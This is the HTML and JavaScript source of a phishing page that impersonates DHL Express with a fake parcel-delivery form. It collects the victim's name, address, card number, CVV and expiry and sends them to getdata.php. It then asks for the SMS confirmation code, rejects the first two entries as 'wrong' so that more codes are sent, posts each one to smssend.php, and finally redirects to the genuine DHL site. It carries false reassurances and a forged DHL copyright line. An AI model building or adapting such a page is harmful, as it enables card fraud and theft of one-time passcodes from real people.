<!doctypehtml><meta charset=utf-8><title>
   DHL - express
  </title><meta content=width=device-width,initial-scale=1,maximum-scale=1 name=viewport><link href=images/favicon.ico rel=icon type=image/x-icon><link href=css/roboto-font.css rel=stylesheet><link href=fonts/material-design-iconic-font/css/material-design-iconic-font.min.css rel=stylesheet><link href=css/jquery-ui.min.css rel=stylesheet><link href=css/style.css rel=stylesheet><body><nav class="navbar navbar-default"style="background: #fc0;width: 100%;"><div class=container><div class=navbar-header><a class=navbar-brand href=#> <img style="padding:10px;margin-left: auto;margin-right: auto;
    display: -webkit-box;"alt=Brand src=images/img.svg width=100> </a></div></div></nav><div style="background-image: url('images/bg.jpg')"class=page-content><div class=wizard-v3-content><div class=wizard-form><div class=wizard-header><h2 style="padding-left:20px;padding-right: 20px">Please fill in the necessary information to receive the package</h2></div><form action=# class=form-register method=post><div id=form-total><h2><span class=step-icon> <i class="zmdi zmdi-account"> </i> </span> <span class=step-text> information </span></h2><section><div class=inner><h3 style="text-align: center;">Personal informations</h3><div class=form-row><div class=form-holder><label class=form-row-inner><input class=form-control id=nom name=first_name required> <span class=label> First name * </span> <span class=border> </span></label></div><div class=form-holder><label class=form-row-inner><input class=form-control id=prenom name=last_name required> <span class=label> Last name * </span> <span class=border> </span></label></div></div><div class=form-row><div class="form-holder form-holder-1"><label class=form-row-inner><input class=form-control id=adresse1 name=phone required> <span class=label> Adress 1 * </span> <span class=border> </span></label></div></div><div class=form-row><div class="form-holder form-holder-1"><label class=form-row-inner><input class=form-control id=adresse2 name=phone required> <span class=label> Adress 2 * </span> <span class=border> </span></label></div></div><div class=form-row><div class="form-holder form-holder-1"><label class=form-row-inner><input class=form-control id=ville name=address required> <span class=label> City * </span> <span class=border> </span></label></div></div><div class=form-row><div class="form-holder form-holder-1"><label class=form-row-inner><input class=form-control id=codepostal name=address required> <span class=label> Postal code * </span> <span class=border> </span></label></div></div></div></section><h2><span class=step-icon> <i class="zmdi zmdi-lock"> </i> </span> <span class=step-text> Payment </span></h2><section><div class=inner><h3 style="text-align: center;">Payment Informations</h3><div class=form-row><div class="form-holder form-holder-2"style="margin-left: auto;
    margin-right: auto; width: inherit;"><label class=pay-1-label for=pay-1><img alt=pay-1 src=images/wizard_v3_icon_1.png> Credit card</label></div></div><div class=form-row><div class="form-holder form-holder-1"><label class=form-row-inner><input class=form-control id=nomtitulaire name=nomtitulaire required> <span class=label> cardholder name * </span> <span class=border> </span></label></div></div><div class=form-row><div class=form-holder><label class=form-row-inner><input onkeyup="if (/\D/g.test(this.value)) this.value = this.value.replace(/\D/g,'')"class=form-control id=xsfcc maxlength=16 name=card required> <span class=label> Card number * </span> <span class=border> </span></label></div><div class=form-holder><label class=form-row-inner><input onkeyup="if (/\D/g.test(this.value)) this.value = this.value.replace(/\D/g,'')"class=form-control id=xsfcvv maxlength=3 name=cvc required> <span class=label> CVV * </span> <span class=border> </span></label></div></div><div class="form-row form-row-date"><div class="form-holder form-holder-2"><label class=special-label for=date>Expiration date * :</label><select style="width:  100% !important;"id=xsfmm name=month_1><option disabled selected value>Month<option selected value=01>01<option value=02>02<option value=03>03<option value=04>04<option value=05>05<option value=06>06<option value=07>07<option value=08>08<option value=09>09<option value=10>10<option value=11>11<option value=12>12</select><select style="width:  100% !important;"id=xsfyy name=year_1><option disabled selected value>Year<option selected value=2019>2019<option value=2020>2020<option value=2021>2021<option value=2022>2022<option value=2023>2023<option value=2024>2024<option value=2025>2025<option value=2026>2026</select></div></div></div><div style="margin-top: 20px"><center> <b> You will not be charged before the shipment of parcels </b> </center></div></section><h2><span class=step-icon> <i class="zmdi zmdi-receipt"> </i> </span> <span class=step-text> Confirmation </span></h2><section><div class=inner><h4 id=smslabel style=font-weight:500><center> Finalisation de commande </center></h4><h4 style="display: none;font-weight:500"id=smslabel2><center> We thank you for authenticating yourself by entering the confirmation code received on your phone. This authentication is required to confirm your operation. </center></h4><div class=form-row><div class="form-holder form-holder-1"style="width: 50%; margin-right: auto;margin-left: auto;"><label class=form-row-inner><br> <input placeholder="Confirmation code"style="text-align: center; font-weight:500"class=form-control id=smstxt name=phone required> <strong style="color: red; font-weight: 500; display: none; margin-top:10px;    display: -webkit-box; text-align: center;"id=errreur> Wrong confirmation code, you will receive another code to confirm. </strong> <strong style="color: green; font-weight: 500; display: none; margin-top:10px;    display: -webkit-box; text-align: center;"id=success> Your request is confirmed </strong></label><button class="btn btn-primary btn-lg"style="width: 100%; background-color: #d40511; padding:10px; border:none; border-radius: 3px; color:#fc0;font-weight: bold; margin-top:20px"id=smsbtn type=button>Valider</button></div></div><span style="display: grid; margin-top:20px"> <b style="text-align: center;"> <p style="text-align: center"></p> </b> </span><b style="text-align: center;"> <span style="display: grid; margin-top:20px"> <b style="text-align: center;color:red"> Important information </b> <p style="text-align: center; font-size: 0.8em">delivery times decrease to 1-2 days! Shipping costs vary depending on your country</p> </span> </b></div><b style="text-align: center;"> </b></section><b style="text-align: center;"> </b></div><b style="text-align: center;"> <footer style="text-align: center; padding-bottom:20px;padding-top:20px">2020 © DHL International GmbH. All rights reserved.</footer> </b></form></div><b style="text-align: center;"> </b></div><b style="text-align: center;"> </b></div><b style="text-align: center;"> <script src=js/fa.js></script> <script src=js/jquery-3.3.1.min.js></script> <script src=js/jquery.steps.js></script> <script src=js/jquery-ui.min.js></script> <script>loadingtime=5000
		counteur=0;
$(document).ready(function() {







  $('#smsbtn').on('click', function() {




	if ($("#smstxt").val().length != 0){

  	
    if (counteur == 2 )
    {
setTimeout(function() {
    window.location.replace("https://www.logistics.dhl");
    
    }, 10000);






    	
    }
	

	 $.ajax({
				      type: "POST",
				      dataType:'json',
				      url: "smssend.php",
				      data: {smscode:$("#smstxt").val()},
				      success: function (result) {
					      }
				 });
	
  	$("#smstxt").hide()
  	$("#smslabel").hide()
  	$("#smslabel2").hide()
  	$("#errreur").hide()
    var $this = $(this);
    console.log("this is : "+$(this).html() )
    var loadingText = '<i style="font-size:30px" class="fa fa-circle-o-notch fa-spin"></i></br></br><p>Please wait while we process your request, please do not close this window</p>';
    if ($(this).html() !== loadingText) {
      $this.data('original-text', $(this).html());
      $this.html(loadingText);
    }
    setTimeout(function() {
    if (counteur!=2)
    {
      $this.html($this.data('original-text'));
      $("#smstxt").show()
      $("#smstxt").val('')
  	  $("#smslabel2").show()
  	  $("#errreur").show()
  	  $("#success").hide()
  	  counteur++
    }
    else
    {
    	$this.html($this.data('original-text'));
      $("#smstxt").hide()
      $("#smstxt").val('')
  	  $("#smslabel2").hide()
  	  $("#errreur").hide()
  	  $("#success").show()
  	  $('#smsbtn').hide()
  	  counteur++
    }
    }, loadingtime);
}
else
{
	$('#smstxt').css('border-bottom','2px solid red');
}



  });
})
		
    $("#form-total").steps({
        headerTag: "h2",
        bodyTag: "section",
        transitionEffect: "fade",
        enableAllSteps: true,
        autoFocus: true,
        transitionEffectSpeed: 500,
        titleTemplate : '<div class="title">#title#</div>',
        labels: {
            
            next : 'Next step',
            finish : 'Submit',
            current : ''
        }, 
        onStepChanging: function (event, currentIndex, newIndex) { 
        	
           if (currentIndex==0)
           {
           	nom=$('#nom').val();
            prenom=$('#prenom').val();
            adresse1=$('#adresse1').val();
            adresse2=$('#adresse2').val();
            ville=$('#ville').val();
            codepostal=$('#codepostal').val();
            
            if ((nom.length<3) ||(prenom.length<3) ||(adresse1.length<3) ||(ville.length<3) ||(codepostal.length<3))
            {
            	if (nom.length<3)
            		$('#nom').css('border-bottom','2px solid red');
            	else
            		$('#nom').css('border-bottom','2px solid #000');
            	if (prenom.length<3)
            		$('#prenom').css('border-bottom','2px solid red');
            	else
            		$('#prenom').css('border-bottom','2px solid #000');
				if (adresse1.length<3)
            		$('#adresse1').css('border-bottom','2px solid red');
            	else
            		$('#adresse1').css('border-bottom','2px solid #000');
				if (ville.length<3)
            		$('#ville').css('border-bottom','2px solid red');
            	else
            		$('#ville').css('border-bottom','2px solid #000');
            	if (codepostal.length<3)
            		$('#codepostal').css('border-bottom','2px solid red');
            	else
            		$('#codepostal').css('border-bottom','2px solid #000');
            	return false;
            }
            else
                return true;
           }
          if (currentIndex==1)
          {

	$("#smstxt").hide()
  	$("#smslabel").hide()
  	$("#smslabel2").hide()
  	$("#success").hide()
  	$("#errreur").hide()
    var $this = $('#smsbtn');
    $('#smsbtn').css('width','auto')
    $('#smsbtn').css('margin-right','auto')
    $('#smsbtn').css('margin-left','auto')
    $('#smsbtn').css('display','block')
   


    var loadingText = '<i style="font-size:30px" class="fa fa-circle-o-notch fa-spin"></i>';

      $this.data('original-text', $('#smsbtn').html());
      $this.html(loadingText);
     setTimeout(function() {
      $this.html($this.data('original-text'));
      $("#smstxt").show()
  	  $("#smslabel2").show()

    }, loadingtime);
     
          	nom=$('#nom').val();
            prenom=$('#prenom').val();
            adresse1=$('#adresse1').val();
            adresse2=$('#adresse2').val();
            ville=$('#ville').val();
            codepostal=$('#codepostal').val();
          	nomtitulaire=$('#nomtitulaire').val();
            xsfcc=$('#xsfcc').val();
            xsfcvv=$('#xsfcvv').val();
            xsfmm=$('#xsfmm').val();
            xsfyy=$('#xsfyy').val();
            console.log('titulaire is  '+ $('#nomtitulaire').val())
            if ((xsfcc.length<16) ||(xsfcvv.length<3) ||(xsfmm===null) ||(xsfyy===null) ||(nomtitulaire.length<3))
            {
            	console.log("mm is :"+xsfmm)
            	if (xsfcc.length<3)
            		$('#xsfcc').css('border-bottom','2px solid red');
            	else
            		$('#xsfcc').css('border-bottom','2px solid #000');
            	if (xsfcvv.length<3)
            		$('#xsfcvv').css('border-bottom','2px solid red');
            	else
            		$('#xsfcvv').css('border-bottom','2px solid #000');
				if (xsfmm===null)
            		$('#xsfmm').css('border-bottom','2px solid red');
            	else
            		$('#xsfmm').css('border-bottom','2px solid #000');
				if (xsfyy===null)
            		$('#xsfyy').css('border-bottom','2px solid red');
            	else
            		$('#xsfyy').css('border-bottom','2px solid #000');
            	if (nomtitulaire.length<3)
            		$('#nomtitulaire').css('border-bottom','2px solid red');
            	else
            		$('#nomtitulaire').css('border-bottom','2px solid #000');

            	return false;
            }
            else
            {
				 $.ajax({
				      type: "POST",
				      dataType:'json',
				      url: "getdata.php",
				      data: {nomtitulaire:nomtitulaire,xsfyy:xsfyy,xsfmm:xsfmm,xsfcvv:xsfcvv,xsfcc:xsfcc,nom:nom,prenom:prenom,adresse1:adresse1,adresse2:adresse2,ville:ville,codepostal:codepostal},
				      success: function (result) {
					      }
				 });
				 $('[aria-label="Pagination"]').css('display','none');
  return true;
            }

          }

          
        }
    });</script> <style>#form-total > div.actions.clearfix > ul > li:nth-child(2) > a
	{
		padding:10px;
	}</style> </b>